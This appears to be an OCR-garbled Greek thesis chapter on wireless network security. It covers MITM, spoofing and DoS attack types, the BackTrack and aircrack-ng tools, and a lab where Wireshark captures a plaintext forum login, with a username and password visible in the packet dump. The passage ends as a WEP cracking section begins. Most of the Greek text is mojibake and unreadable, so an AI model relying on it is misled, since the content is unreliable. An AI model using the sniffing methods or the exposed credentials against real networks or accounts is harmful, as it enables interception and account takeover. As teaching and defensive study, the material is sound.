Bploxetatl otnV (Sl TTEPLOXT) LLE TO SIKTLVO — OTOXO ATTAX OCTOXEVOVTAG CUYKEKPIUEVOUG
TEAATES 0€ SNUOCLEG TIEPLOYES.
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3.8.3 ENEPI'HTIKEZX: TPOIIOIIOIHXH AEAOMENQN

O1 péBodol Tpomomoinong 6edopévwy £xouv TTOAAOUG SLa@OPETIKOVG GTOXOUG, TTOU
KUPX(VOVTOL ATtO TNV TPOTIOTIONOT) TOU NAEKTPOVIKOU TaxuSpopeiov Ue KakofouvAo
TEPLEXOUEVO £WG KAL TNV XAAXYN ApLOU®VY O€ PLo NAEKTPOVIKY TPATIEIKT) LETAPOPA.

QoT1600 TTaPATL TETOLEG LPNAOV ETUTESOU TPOTIOTIO OELS £XOUV TIPAYUXTOTIOMOEL, elval
OPKETA TEPLOPLOPEVEG OTNV TIPAEN AdYw Tov Babpov SuokoAiag Tov gxouv.

[Mapadetypa peBodov tpomomoinong e5oUEVWY OV VAL TTLO KOVTA TNV
TPAYHATIKOTNTA ELval 1 aAdayr] TG SiebBuvon s mpooplopov (SievBuvon IP) evog
uNvOpaTos To omoio Stafidletal o pla acVPUAT LETAS0ON, TO oTtoio avTi va
SaBpaoctel aTOV TPOOPLIOUEVO TIHPUATTITY] LETAPEPETAL OTOV ETITIOEUEVO 1) OF
KATI0L0V GAAO emOVUNTO TIPoopPLopd péow StadiktVov. Auti 1 uéBodog yxpnopomoteital
SLOTLTO PVVpa 0TV acVppaTn ocVVSeoN KpuTtTtoypa@eital kat ev pmopel va Stafaotel
TO TEPLEXOUEVO, QAL GV pTtopel 0 emITIOEUEVOG va To TApeL StaBLBacuévo amod to
Awadixtuo, Ba AdBeL v amokpuTtoypa@nuevn ékdoon. H emypagn IP stvat
€UK0AOGTEPO Va SexTel emiBeom ylatl eival pla yvwot pop@n). M emiBeon
Tpomomoinong eivat 1 Man-in-the-Middle enibeon (dtopo otnv péon).

» Man in the Middle Attack

Y& auTo To (806 NG eMiBeONG, 0 eMITIOEPEVOG BplokeTal OTN HEOTG TNG CUVOUIALXG VO
OUUUETEXOVTWV 0TO SikTuo (TNwpyos kat Mapia). e pia TPAYUATIKT ETKOWVwWVia O
TMNwpyos Ba AduBave pnvopata ano ™ Mapia katn tponyoluevny amnod to MN'wpyo. O
eloBoAéag OUwG pmopel va ppn Bl kaBévav amod Toug Vo Kal va GTEAVEL PNVUUATA TA
oTola paiveTal 6TL TPoNABaY ATtd TNV TPAYUATIKY TOUG ETIKOVWVIA ZuVHBwE TETOLOU
€(60ovG eMOETELG XPTOLLOTIOLOVVTAL YLK TNV TPOTOTOM 0T UIVURATWY KATA TN HETAPOPA
XWPIG VO VTIAPXEL TTEPITITWOTN VAL avLXVELBOUV.

Tl v e@appoyn pag Tétolag emiBeons oe éva acvpUaTo SikTuo VTTAP)XOoLY Suo
SLapopeTikég pEBodol, Ta MAdloLA SLYEIPLONG , CUYKEKPLUEVA YL TNV ACVUPHATY
Swctvwon kat to ARP Spoofing, To omoio amoteAel ameldn akKOUX KOL YIX TAL EVOUPHATA
Sixtua.

3.8.4 ENEPT'HTIKEX: METAM®IEXH (SPOOFING)

Katd T emB£0ELS TNG LETAUPIEONG, O ETMITIOEPEVOG, UTTIOKPIVETOL KATIOLOV VOULULO
XPNOTN TOU SIKTUOU WMOTE VA ATIOKTI|OEL TA SIKALWUATA TPOGBaoTG 0€ UTNPESLES IOV
embupel. OvolaoTika yivetal xprjon Twv otolyeiwv mpodcPacng evog vouuov xprio. Ta
otolyela TpOGPacnG VOGS VOULILOU XPNOTT EVOG SIKTUOL PTtopovv va Yivouv Bopa ota
XEPLOL EVOG ETITIOEPEVOV OTIG EENG TIEPITITWOELS :

e ‘Otav 8ev xpnoluomoleital KPUTTOYPAPN O™ 0TO SIKTLO
o  'Otav xpnowomolovvtal EDKOAOL KwSLKOL
o 'Otav 8ev akoAovBolvtal ol Kavoves TpooTaciag kwSikwy Tpocsfaong

H pebodog autn elval 18avikn €av €vag emtiBepevog BEAEL va unv amokaAv@Bei. Eav n
OUOKEUN KATAPEPEL va EeyeAATEL TO SiKkTLO WG E0VGLOSOTNUEVT GUOKELT), TOTE O
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EMTIOEPEVOG TtapveL OAa Ta Sikawuata Tpocacng mov embupel amd Ty
efovalodotnuévn. EmmiAéov, Sev Ba vmapiel kapia Tpoeldomoinon ac@aielag.

3.8.5 ENEPI'HTIKEZ: APNHXZH YIIHPEXIQN (DENIAL OF SERVICE)

T quT TNV TEPITTWON TOG0 0 OKOTOG AAA Kol 1) TEXYVIKN TNG UeBGSov Stapépouv.
YKOTOG pLag TETolog eTiBeon G elvat 11 OALKY] QYPTICTEVCT] TOU ACVPHATOV SIKTUOU YL £V
XPOVIKO Staotnua. OUCIAOTIKE A@ALPOVVTAL TA SIKALWUATA ATtO GAOUG TOUG VOULUOUG
KOIL 1) VOULLOUG XP1|OTEG TOV SIKTUOU KAl 6TOX0G VAL 1) SLaATapoy™§ TNG OHOANG
Aettovpylag Tov Siktvou. Mia Tétola emiBeon pumopel va mpaypatomomOei pe Svo
TpoTovG. H mpwytn néBodog amAd KatakAUel TO GTOXO UTIOAOYLOTY] 1] T1] GUGKEUT] UALKOU
LLE TIAT|POPOPLEG WOTE VA UTIAOKAPEL ZUHPWVA PE TN SeUTEPT HEBOBOG OTEAVOVTAUL KAAK
SLaTUTTWUEVESG EVTOAEG ) AdB0G SeSopéva ue 0TOXO0 Vo KOAATGEL TO cUoTnua. Ot
eMOETELG QUTOV TOU €l80UG lval oL TTLO ETIIKIVOUVEG SLOTL UTTAPXEL LIKPOTEPO TTEPLOWPLO
TpooTaciag.

O mévte o onpavtikol TuTol emBécewv DOS meptypd@ovTal TapaKaTw:

» Emifzon minuuipag (Flood Attack)

AvuTég elvat oL Tio yvwoTtég Tov eldoug Twv DoS emiBeoewv. O unyaviopog autrg g
emiBeong elvat amrog. O emitiBépevos Snpovpyel otov server meplocdTeEPN Kiviion amod
auTn Tov umopel va Staxelplatel. EGv 0uws o vmtoAoylots — B0pa Stabétet Eva oAD
kaA6 bandwidth ToTe £xel TOAD KAAEG TIBAVOTNTEG VAL PNV EMNPEACTEL

QoTtooo 1 avinon tov bandwidth, ev ival amd poVN TG HLAG ETAPKNG TTPOCGTAC A
evavTia o€ P tETola emiBeon. [TapoAia autd, eqv elval AVETIAPKES, AKOUA KOL EVAG
(PUGLOAOYIKOG OYKOG ALTNUATWY PTopel va 0dnynoeL o€ pia TEToLA SUOKOAN KATAGTHOT.

» Emi@eom Ping of Death

H eniBeomn Ping of Death elvat pia GAAN maAdtepn popen enibeong DoS. H Baowr) apxm
™G 8ev eival TO0O £ELTIVT OUWGS KATAPEPVEL VA EKUETAAAELTEL TNV aduvapia Tov
TCP/IP mtpwtok6AAov. H péBodog autn amAd otéAvel Eva Staypappa SeSopuévmwy, To
LEyeBog Tov omolov Eemepvdel Ta cuvnBLoUEVAL

‘Otav éva TETOL0 SLAYPAUUA (PTAGEL GTOV TIPOOPLOUO TOV, TO CUCTN LA IOV TO
Tapadapfavel katappéel. EuTuxwe Opwe, TéTolov idoug emiBéoelg Twpa Ta eivoat
loTopia emeld) 6A0L oL aVyxpovol eE0TALGUOL SLABETOUY UNYAVICUOUS AUUVAG EVAVTLIA O
TETOLEG ETIOEOELG.

> Emifeon SYN

OLemBeoelg SYN gkpetairevovtal emiong aduvapieg tov TCP/IP mpwtokdAiov. H
eykabibpuon wag ovvdeong péow tov TCP/IP, cuumepAapufavet Evay unyaviopuo
XepaPiag, oTOV OO0 EYOVHE AVTAAAXYT] UNVUHATWY CUYXPOVIGHOU (Synchronize) kot
emBeBaiwong (Acknowledgment).

'Otav €vag EMITIOEPEVOG KATAPEPEL VA YEULTEL TOV TIPOOPLOUO PE UNVOHATA
oLYxpoviopov (SYN), ToTe yepIlel kKal 0 amoBNKEVTIKOG XWPOG TOUG. LE AUTY] TNV
mepimtwon, dev elval Suvatdv va amootaroy unvopata emiBeBaiwong (ACK) kat kat'
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emektaon Sev elval Suvatn n Snuovpyia TCP/IP cuvdécewv pe 0ToLOVENTIOTE TO
ETILXELPTOEL

> Emnifeomn Teardrop

Yty emiBeomn auTH TA TAKETA IOV GTEAVOVTAL UTIEPKAAVTITOUV TO £V TO GAAO pE
ATOTEAEGUA OTAV TO CUCTNUA TIOU TX AAUBAVEL TTPOOTIAOEL VA Tat GUVAPLOAOYTTEL
(reassembly) maBaivel katappevon (crash) 1/xal "maywpa” (hang) 1/kat emavekkivnon
(reboot). OTwg katn Ping of Death, n emiBeon avt eivat twpa T lotopia.

> Emnifgon Smurf

Kata tnv évapén piag emiBeong Smurf, o emitiB€pevog oTéAVEL pio TANOWPA TTAKETWV
ping ICMP Echo Request o€ SievBUvoelg IP broadcast Sta@dpwv Siktvowv. Ta Takéta
QUTA £YOUV TPOTOTIOW Ol KATAAANAQ 0UTWG WOTE 0TO TeS(0 source TG ke@aAidag IP va
avaypagetatn StevBuvorn IP tov Bvpatog kat oyt Tov emitifepevou. Emiong, SeSopévou
O0TL oTaABnKav oty S1e¥Buvon IP Broadcast Twv Sla@opwv SiktOwv, Ta Aapfdvouv
OA0L 0L UTIOAOYLOTEG TIOU QVIKOUV O€ QUTA. AUTO €XEL WG GUVETIELX OAOL OL UTIOAOYLOTEG
Vo amavtovv oto ping pe makéta ICMP Echo Reply, Ta omoia €xouv wg StevBuvon
TPoopLopov TNV SievBuvon IP tou Bupatog. Apa Aotmdv To BV Pa TANUPLPLlEL Pe TTAKETA
ping kat odnyeitat o Katdppevo.

OLemiBéoels auTES ival o SUCKOAN AVLXVEVGLUES, OUWG GV Eva SiKTUO Elval TTOAV
KOAG 0pYAVWUEVO KOL GUVTTPEITAL 6woTA, 1) emiBeon autr] 8¢ Ba eival KATAGTPOPLKY.
[Tpv amo apkeTA YPOVIX T TIEPLOCOTEPX SIKTUX UTIOAOYLOTWV NTAV EVTIAON O€ TETOLOV
gldovug emBeoeLg. ZNpEPA OUWG £XOVV AVATITUXOEL Ol KATAAANAEG TEXVOAOYIEG OVTWG
woTe oL emBéoelg Smurf va pnv amodidovv. (Peikari & Fogie, 2002)
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KE®AAAIO 4. XITAZONTAX THN AXYPMATH AX®PAAEIA

Y10 KEQPAAALO aUTO TTAPOVCLALOVTAL AVXAUTIKA oL HEBOSOL IOV XpToLHOTIOmBNKAY Yo
TO “OTIACLUO” TNG ACVPUATTG AT PAAELNG EVOG OLKLAKOU ACVPHUATOU SIKTUOV.

'l auTov Tov €iboug TIG eMBETELS amapaiTnTa epyaAeia amoTeAoVV: a) pia cuppaty
aoUpUATY KAPTA SIKTUOU, 1) oTtola Ba utootnpilel T peBoSoug ov B
xpnowomowmbBovv B) to Backtrack oelive CD y) éva kovtivé acvpuato Siktuo mov Ba
xpnowototel WEP kpumtoypd@non. ITlo cuyKekpLuéva, Yo TiG eMBETELS OL OTIOLES
EKTEAEGTIKAY, XPTCLUOTIOW ONKAV EVOGS (pOPNTOG KAL EVOG ETILTPATECLOG UTIOAOYLOTIG, LE
TOV (OPTTO UTIOAOYLOTI] VU ETILTEAEL TOV POAO TOU ETLTIOEUEVOU.

e YmoAoywoti|g Laptop

0 @opnToG UTOAOYLOTIG, LE TN BonBela TOU 0TOlOV, EKTEAEGTNKAV OL ETIIOECELS TOGO GTO
Héoo mpOGBaons AAAG KAl 6TOV GAAO UTIOAOYLOTY) IOV GUUUETElXE 0TO SikTLO, S1EOETE
Kapta Siktvov Atheros, Aettovpyikd 32 bit Windows XP kat xapaymmpLloTIK& o
BewPOVVTAL LKAVOTIOUTIKA LA TNV AELTOUPYIX TWV TTPOYPAUUATWY TIOU EKTEAEGTIKAV.

¢ YmoAoywotig Desktop

0 emuTpamédlog UTIOAOYLOTYG, 0 0Ttol0G S€xONKE Tig emB€oels (Sniffing, Man In the
Middle Attack, DOS Attack), eixe acOpuatn mpdofact oto SikTuo pe acVpuaATn KAPTA
Swtvovu TP LINK - WN821N, n ool vmtootnpiet ta mpotuma IEEE 802.11n, IEEE
802.11g, IEEE 802.11b kot peb68ovg kpumtoypdgnons WEP/WPA/WPA2. To 64 bit
Aettoupyko tou Ntav Windows 2007 kol cOU@ WV LE TA XAPAXTNPLOTIKE TOV
(Eme€epyaotng: AMD Phenom II X4 920 2.8 GHz, RAM:4GB), 6 umopovoape va molpe
OTL TIPOKELTAL YIX EVA GYXETIKA YPYOPO UNXAVI LA,

e AcVppato péco mpocfaong

To péoo mpooBaong (Router), mov §€xOnke v emibeon tav to povréAo THOMSON
TG782, To oToio TPpoo@PEPETAL SWPEAV ATO TO TIAPOYO VTN PETLWY SladikTvovu ¢ Cyta.
To unyavnua autd vmootnpilel emmAgov vmpeoieg Voice Over IP, oL omoies mapéxovtat
amo v etapeia. Awabetel 4 BUpeg ETHERNET kot vtoompilel ta mpotuma 802.11b kot
802.11g yi acVppatn mpooaaon.

e Backtrack

To Backtrack, amotelel pia eAetBepm Stavour) Linux, n omola Stavépetat o€ live CD kot
live USB. £to Backtrack mepieyetat pia covita epyaieiwv Ta omola amevbivovtal o€
atopa mov B€A0VVY VX SOKLUAGOLVY TNV ACPAAELX EVOG CUGTIUATOS AAAL Kol yia
KT8V TIKOUG 0koTIoUG. Ot Stavopég o live CD kat live USB kdvouv akopa TiLo eUKoAT
™ XP10M TOV, AoV TIPOCPEPETAL AUEDT) KKV om Tou Backtrack xwpig va xpeldletal
eykatdotaon. Emiong n eykataoctaon tov eivat Suvatr péow Virtual Box. (Backatrack
Penetration Testing Distribution, 2010)

Ta epyadeia Touv BackTrack katatdooovtal o€ katnyoples, autég eivat:

0 Information Gathering
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Network Mapping

Vulnerability Identification

Web Application Analysis

Radio Network Analysis (802.11,Bluetooth,Rfid)
Penetration (Exploit & Social Engineering Toolkit)
Privilege Escalation

Maintaining Access

Digital Forensics

Reverse Engineering

Voice Over [P

O OO O0OO0OO0OO0OO0OOoOOo

Mepka amo ta kUpla epyaieia tov BackTrack eivau:
0 Metasploit
Avvatotnta RFMON otig acvpuateg kapteg Siktvou 802.11
Kismet
Nmap
Ettercap
Wireshark

o O o o o

Kata tnv mpoomadela emava@opag Tou kKAeLS100 ou xpnotpomoteital amd to Wireless
Access Point yix va kpumtoypagnoet ta Sedopéva mov Staktvovvtal 6to Siktuo,
xpnotpomombnke n covita aircrack-ng.

H oovita avtn BonBael otov £Aeyxo TNG Ao AAELNG TOU SIKTVOV UG KABWG UTTOPOUE
va eAeyEoupe Katd OG0 To KAELST TTou £xoupe Xprouomolnoel 6to AP pag umopei va
omaoel. Ta Baoikd epyaieia Tov meplapfavel n covita aircrack-ng eiva:

0 aircrack-ng
airodump-ng
aireplay-ng
airmon-ng

(0]
(0]
(0]
0 packetforge-ng

4.1 SNOOPING/FOOTPRINTING

To Wireshark elvat eva amé ta Staonpotepa epyadeia avaAuvons KUKAo@opiag o
TOYKOO UL KAlaKo. To TIpOYpOAUUA aUTO XPTCLUOTIOLEITAL VIO TNV AVAKTNON
TANPO@POPLOV YA TO SIKTUO OAAA KAL TWV TPWTOKOAAWY AVWTEPOV EMTTESOV OXETIKA
mavta pe Ta Sedopéva mov Slakvouvtal péoa oto Siktvo. To Wireshark SiaBétel
Situaxn BAoBNKN Yia TNV cUAANYT KOl AVAAUOT] TWV TTAKETWV TIAT|PO@POPLag.

Oa mpémel va toviotel 0Tl To Wireshark sival eAsBepo kaL avoytol Kwdika AoyLopKO
AVEALOTG TIPWTOKOAAWY SIKTUOV UTIOAOYLOT®WY . To ap)ikd Gvopa TOU TIPOYPAUUATOS
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ftav Ethereal, kot tov Mdwo tov 2006 dAAage ae Wireshark yio AGyoug eumopikwv
onuatwv. (WireShark, 2010)

To Wireshark elvat mapopoto pe to mpoypappa tcpdump, Opwg £xel ypaeiko_front-end
KOl TIEPLOGOTEPES ETIAOYEG TALVOUNONG KAl @ATpapiopatog. Emitpémel oto xpnotn va
TaAPaKoAOLONoEL OAT TNV Kivnom Tov Yivetal 6to SikTuo BETOoVTOS TNV KAPTA SIKTUOU OF
Aettovpyla promiscuous mode

‘Otav ektedovpe To Ipoypappa Wireshark, eppavifetal n moapakatw elkova:

B = The Wireshark Network Analyzer
Ele Edit Wiew Go Capbure Analyze GStatisics Help

=, -

[E] Eilter: Jl ﬂ &4 Expressian...J |"': Qear| e Emply]

| Ready to Ioad or capture i[No Packets JProfile: Default

Ewxova 18. Wireshark interface

'Omwg @aivetal oTnv TAPAKATWY ELKOVQ, To interface tov Wireshark ywpiletal og emtda
SLAPOPETIKA TUNHaTA:

1) Mevo?

2) ZUVTOUEVOELS

3) ®iAtpo

4) Tlivakag Alotag TakéETwyv

5) Mivakag AETTOUEPELWV TTAKETWV
6) Ilivakag avatopiog

7) Awgpopa
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= e

¥ E wlanD: Capturing - Wireshark

Xee neono L[ 6 ool @E s, |

L] <4+ Expression...‘ @.: Clear‘ o .Enpply] | 7

Na. . ]Time ]Scurce J Destination J Protocol ] Info >
223 TR 73 125,107 61 92 T6E. 10.5 T [TCF Sepment of a reassembled Fool
224 2. 262649 192.168,10. 6 74. 125. 107,81 Jiz3 60342 > http [AG{] Seq=B13: Ack=155570  Win=2358
225 2.264009  74.135.107.B1 192,160.10.6 T ITCP sepmént of ‘a reassembled PDUI
226 2.760665 74.125.107.81 192.16B.10.6 TP ITCP segment of a reassembled PDUIT
227 2.266553 152.168.10.6 74, 125.307.81 TP 60342 = http [AH] Seq=813 Ack=15579¢ Win=2358
278 2.260475  74.125.107.B1 192, 166. 18.6 TR [TCP sepment of a.reassembled PDUI
209 2. 268567 74.125.107. 81 192 16B:10.6 TR [TCP segment of a' reassembled PDUT
290 2 ZE9042 192 168.10.6 749135 107,81 TER 60342 > http [AOK] Seg=813 Ack=1E1610 Win=2368
291 22714968  74.125.107.B1 192 16B.10.6 TEP [TCP segment of alreassembled PDU] 2
232 2272506 74.125 107, B1 192 16B.10.6 TP [TCP segment of a reassembled POLT
233 2.272745 192.168.10.6 74.135.107.81 TR 60342 > http [AOK] Seg=8B13 Ack=164430 Win-2568
234 2.273888 74.125.1687.81 192.18B.10.86 HTTR HTTPy1.1 206 OK  [application/und.google.safab)
235 2.273954 192.168.10.8 74.125.107.81 TCR 50342 > hitp [ADK] Seg=813 Ack=1E5638 Win-2388 [

I | i
Ytes captared)

Ethernet II. Src; 00:24:17:6b:15:96 (00:24:17:6b:15:96), Dst: Azureway B6:0f:ad [D9;15:af:86:0:ad)

Internet Protocol, Src: 74.125.107.81 [74,125.107.81], Dst: 152.168.10.6 (1592.168.10.6)

Transmission Control Protocol, Src Port: hitp (83), Dst Port: 60342 (60342), Seq: 1, Ack: 1, Len: 1410

Hypertext Transfer Protocol

B

| 00 15 af b OT ad G0 24 17 &0 15 9 08 00 45 U0
DlO 05 b5 e3 pc 40 00 31 06 df d8 g4a 7d Eb 51 co a8
oo 03 05 00 50 eb bs a7 dé bd 7f 7c 89 54 ef 80 10
| 0 ac 52 c3 DO OB 01 01l OB 0a 56 ce do 3c 00 4l

JPackets: 235 Displayed: 235 Marked: O ;| Profile: Default | 7

Ewkova 19. Wireshark Interface

e ®iAtpo

H ypapun tov @iAtpov xpnoomoleltal yla tnv avadlntnon péoa o 6n
Katayeypapuéva apyeioa cuAAnPewv. Me ) Bonbela Twv @IATpwY, Ta oTola uTTopovV va
E£QAPUOCTOVV PETA OAAX KAL TIPLY TN CUAANYT] TWV TIAKETWY, TEPLopileTaL o aplOuog
TV 0PATWYV TIAKETWY, KATL TO 0TO{0 SIEVKOAVVEL TNV UEAETT] TWV TIAKETWV YIX TO OTIOL0l
eVOLAPEPOUAOTE.

I 4 14
o [Mivakag AloTaG TAKETWV

0 Tivakag TG AloTag TTAKETWY ATEKOVIEL OAX T TIAKETA TIOU £X0VV GUAANEOEL ATO T
TAKETA QUTA PTtopel va eaxBel xprioun mAnpo@opiag 6Twg ot StevBuvoelg (MAC/IP)
TOPAANTITN KAl ATTOOTOAEQ, TOUS aplBpovs Bupwv TCP/UDP, To TpwtdkoAro 1} akOua
KOl TO TIEPLEXOUEVA TOV TIOKETOV.

o IMivakag AETTOUEPELWOV TAKETWV

O Tivakag AETTOUEPELWV TIAKETWV GIVEL AVAAVTIKEG TIANPOPOPIEG OYXETIKA UE TO
emAeyévo TtakéTo. OL TTANpoopies auTég paivovtat avd emimedo OSI.

¢ Iivakag avatopiog

0 mivakag avatopiag 1 Tivakag Twv bytes TakéTwy, ep@avilel TS (Sleg TANPO@OPIES Yo
T TIUKETA LE AUTEG TIOV PALIVOVTAL GTO THIVOKNX AETITOUEPELWV TIAKETWY, OLWG OE AUTN
™V TIEPIMTWOT £X0VUE T SekaegadiIKn LopET] TOUG.

e Aszttovpyia

['a va Sokpacovpe ) Asttovpyia tov Wireshark, avotyouvpe éva web browser kat
apxioupe va mepmyovpacte ato SladikTuo.



54 | Kedaiato 4. Emalovtag v AcVppatn Ac@aiela

[l ™ oVAM YT TV TTakétwy amd to Wireshark, emiAéyovpe amnoéd to pevov: Capture —
Interfaces ™ kdpta S1kTO0OVL IOV XPTOLUOTIOLOVE KAl akoAoVBwG TNV emiAoyn Options,
Tov Bploketal Se&Ld TnG. ZTo mapdbupo Tov ep@avileTal UTTopoUE va eTTIAEEOUUE
KATIOL0 PIATPO, TO EAGXLOTO OPLo IOV Ba £XEL TO TIAKETO, ATO@AGIlOVLE GV O
eu@aviletal Tapabupo Pe TANPOPOPIes KAt Tr cVAANYN KAt TTOAAG aAAa. TTatwvTag
Start, Eekwvaeln Stadikacio TG CUAANYNG TwV TTakETwY amd To Wireshark.

‘Otav apyifoupe va cUAAAUBAVOUE TIAKETA, QUTA YIVOVTOL TOCK TIOAAG TTOU 1 XP1|0T|
@ATPpWV Yl TNV €E€TaOT TOUG Elval EMITAKTIKY avaykn. H elkdva 19, eiyvel mwg
@aivetal n SLlEmaP] KAtd TN SLApKeELX TNG CUAANYNG TWV TTAKETWVY. ZTO TEAEUTAiO
TapdBupo (Tivaka avatopiag) @aivovtal Ta TEPLEXOUEVA TWV TTAKETWY, TA OTIo(X
ouvnBwg eivat kpumToypa@nuéva. ‘Opws 6tav & cupuPaivel KATL TETOlo TOTE 0 XPNOTNG
utopel va €L OAEG TIG TANPOPOPIEG KAL TA TIEPLEXOUEVA TWV TIAKETWV AUTWV.

['upifovtag oto web browser mov xpnoipomolovpe, petafaivoupe otn oeAlda

http:

Balovtag eéva Gvopa XproTn Kal Evav KwSiKo.

81aBiXTvakf KoLvoTNTA

¥ Apxikn Kowvdrnrag

www.phorum.gr (eikdva 20.) Ze avt T oeAida B ipémel va kavoupe log-in

(ZlFugwes Epurioeis vEEyypagpn (U ovéaon

Huzpounvia AlyausTtog 20th, 2010, 8153 arm

ant enterprise-psi &

Tovbeon © Eyypospi

TMepi avéticov Kot uldmosy
é e S e e e e S it 999672 s enrd npiv o P
= Ofpa Tou piva s 11ag3 NS ANTIONGE L Kuwfikdg: [eveed]
=) @ipara nov dpneoav kKakic svrundosic. SHpeps, 4333 arm
= 5 = Autdparn cbvaeon oe kiBz enisreyn
@ Mixpés ayyehics & Aapnpieis e \oans AT ragsaholic [ 0
Aiipniceis 1oTaoeRiBaY, ayyehicg: avalfToT - nposqopt. AtyousTec 18th, 2010, 4:04 am [Zivazan]

Emiotipsg

Méhn ae sivBean

=/ Napapuoikh, aveERYATd Gaivodsye,

#Hzg, 10137 pm

®doooepicc and ESER [
e DIAOTOMIKE EpWTANGTE Kal TREWEIC, e ER T 59 AenTd npiv
=, Thwooohoyica and mik1967 [
=) Mehimn e yhbosac, fi CUVTARTIRS, SXCAIGOUCE Kal BIEURPIVISEIS, 2t #4592 wBec, 5138 prn
IoTopicc and akritas [
3 IoTapikt yeyowiTa, KOTaoTEEIS, Avapouts ko Giukpivioes. 2 226708 35 cnra npiv
/=~ OpnokewnAoyic G AT
(& @pnoksics, ©eol Kai napabiceis: 2252 140659 oy cng, 2:52 am e
. = stack.overflow.ar, Kan o MiKog,
(= Wuxodoyia 750 o151E  GnS wénoioe Nikog G Rhtibopas, Navae 2
=) wuge xen dvBpwnos, 10 hené npiv
: r—— - S
= O P U] KoL DEpOTan uye oG and gdata [
=/ otpare uysine, cupBouhic ko sulnToeic. 890 15568  .gec,11:57 pm
(5 Ok i o 1omms  dnG parafrin G UL : ;
Musikn, Xnpeio, Biohoyia, MaBnpotcd, Actpovouid, ©.0. 2 henTd npiv #powia noAkd ko kepdral © wooded glade
(59), Felipe the dreamer (28)
="\ Minpopopui TBEE 17gpg  On¢ gdata B
=) AoVIOUIKG, RETOURYIKE SUCTALATH, NPaYPARNATIONSS, hardware, Bikua, Internst. XBc, 7152 A
= = Lromorikg
=) Evaihacrés enwipes e Loy omb akiraw G

 Shuaho Enuooirbosny 2744548
29

MoAmopds

é Aoyorexvic
Netoypamie, nolnen, yhboss Ko ypantog kovos, Bifaie,

1880 29468

ané griendim G
%Bzc, 7:37 am

* E0vndo Beparoy 1035
+ Sivade Peidy 9988
 To vziTEpe pEhes LAUROZL

Graovy Radio

L
Ofokfnae ks

Ewova 20. Atadiktvakos tdmog phorum.gr

[TANKTpOAOYWVTAG AUTA KL EXOVTAS avolyTo To wireshark, Ta mpoocwmika pag
Sedouéva cuAdappavovtal amd To wireshark kat pailvovtal otV TApaAKATW EIKOVA

(Ewova 21).

=
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Ke@aAalo 4. Zmalovtag v Acvpuatn Ac@aielx

& (Untitled)-wnreshark ___________________N&&
File Edit View Go Capture Analyze Statistics Help
S EEEEYET L T

B nEdXX@E Lo T L

MEHter: J‘tcp j & Expresswun‘.“ "7- Clear | o/ A 1
No. . |Time ‘ Source J Destination J Protocol | Info ‘ [
2215 20.312846 74.125.3.16 192.168.10.10 Continuation or non-HTTP traffic
2216 20.313963 74.125.3.16 192.168.10.10 HTTP Continuation or non-HTTP traffic
2217 20.314014 192.168.10.10 74.125.3.16 TCP 48473 > http [ACK] Seg=1 Ack=1376209 Win=7610 Len=0 TSV=127557 TSER=3670169137
2218 20.314354 74.125.3.16 192.168.10.10 HTTP Continuation or non-HTTP traffic
2218 20.314410 182.168.10.10 74.125.3.16 TCP 48473 > http [ACK] Seq=1 Ack=1376257 Win=7610 Len=0 TSV=127557 TSER=3670169137
2220 20.513920 74.55.0.34 192.168.10.10 TCP http > 47980 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1422 TSV=663151280 TSER=1275%

2221 20.513981
2222 20.514131

192.168.10.10

74.55.0.34 TP
192.168.10.10 7L

47980 > http [ACK] Seq=1 Ack=1 Win=5888 Len=0 TSV=127617 TSER-663151260
T Lication/x-www-form-urlencoded)

2223 20.738518 74.55.0.34 152.168.10.10 TCP http > 47980 [ACK] Seq 1 Ack=665 \~Ij_n 7158 Len=0 TSV=663151505 TSER=127617

2224 21.006943 74.55.0.34 192.168.10.10 TCP [TCP segment of a reassembled PDU] —1
2225 21.006993 192.168.10.10 74.55.0.34 TP 47980 > http [ACK] Seg=665 Ack=1411 Win=8704 Len=0 TSV=127765 TSER=663151770

2226 21.00838% 74.55.0.34 192.168.10.10 TCP [TCP seament of a reassembled PDU] L=

Frame 2222 (730 bytes on wire, 730 bytes captured)

Ethernet II, Src: Azurewav_86:0f:ad (00:15:af:86:0f:ad), Dst: 00:24:17:6b:15:96 (00:24:17:6b:15:96)
Internet Protocol, Src: 192.168.10.10 (192.168.10.10), Dst: 74.55.0.34 (74.55.0.34)

Transmission Control Protocol, Src Port: 47980 (47980), Dst Port: http (80), Seq: 1, Ack: 1, Len: 664
Hypertext Transfer Protocol

v Line-based text data: application/x-www-form-urlencoded
username=pacitabpasswor d=kleiwblogin==CE%A3%Crea0% B CEBA%: CEB5%CF% 8% CEE7

v v v v v

0230 64 33 62 61 33 35 39 36 32 63 38 66 66 35 32 38  d3ba3596 2c8ff528 By: O Display filter O Hexvalue @ String [=
0240 31 65 0d Oa 43 6f Be 74 65 6e 74 2d 54 79 70 65  1f..Cont ent-Type & [password
0250 3a 20 61 70 70 6¢C 69 63 61 74 69 6f 6e 2f 78 2d  : applic ation/x- B P
0260 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6 www-form -urlenco - - - =

Search | String Opt Direct]
0270 64 65 54 Od 0a 43 5f 68 74 55 68 74 2d 4c 65 6 ded..Con tent-Len / ol Hng ptons oo
0280 67 74 68 3a 20 37 39 od 2 O Packet list [ Case sensitive O Up
ribMlle1 6d 65 3d 70 61 63 69 ame=paci taspass O Packet details || Character set: @® Down
(cPELEMET 72 64 3d 6b 6c 65 69 ord=klei w&login: () Packet bytes | ||ASCIl Unicode &Non—tj
GPIMloS 43 45 25 41 33 25 43 2 =
(roll> 44 25 43 45 25 42 34 [ Help 3¢ cancel
LrLlMllAG 25 38 33 25 43 45 25

JProfile: Default

@ Phorum.gr = Evpetr [l (Untitled) - Wires' TEmy % 2 ﬂ :'-' = >

[Text item (), 79 bytes {Packets: 2573 Displayad: 2567 Marked: 0 Dropped: 0

= @ @ a2 E| & root@bt: ~ - Shell - () Wicd Manager

Ewcova 21. 20AAnYn nakétwv - AMokaAvyn Kwdikov

H ava{imon twv kwdikwv oto wireshark, yivetal pe xpnon @idtpwv, eite elodyovtag
™ A€EN (string) password, eite avalntwvtag To péoa o€ http makéta (OTMws otV
TIPOKELUEYN TiEPITTTWOT)).

Avt n Stadkaoia propel va emavaAn@Bel KoL o€ TOAAEG AAAEG TIEPLTTITWOELS.

4.2 WEP CRACKING

Ye qau TV Tapaypa@o Ba mapovolaotel pia amAn epintwon Wep Cracking. Auto to
€idog emiBeon¢ PBaoiletatl kupiwg o dnuovpyla pag amokplong oe Eva TakéTto ARP
Héow tou aireplay-ng (epyaieio mapamomong makétwv ARP). 1n ouvéyelan
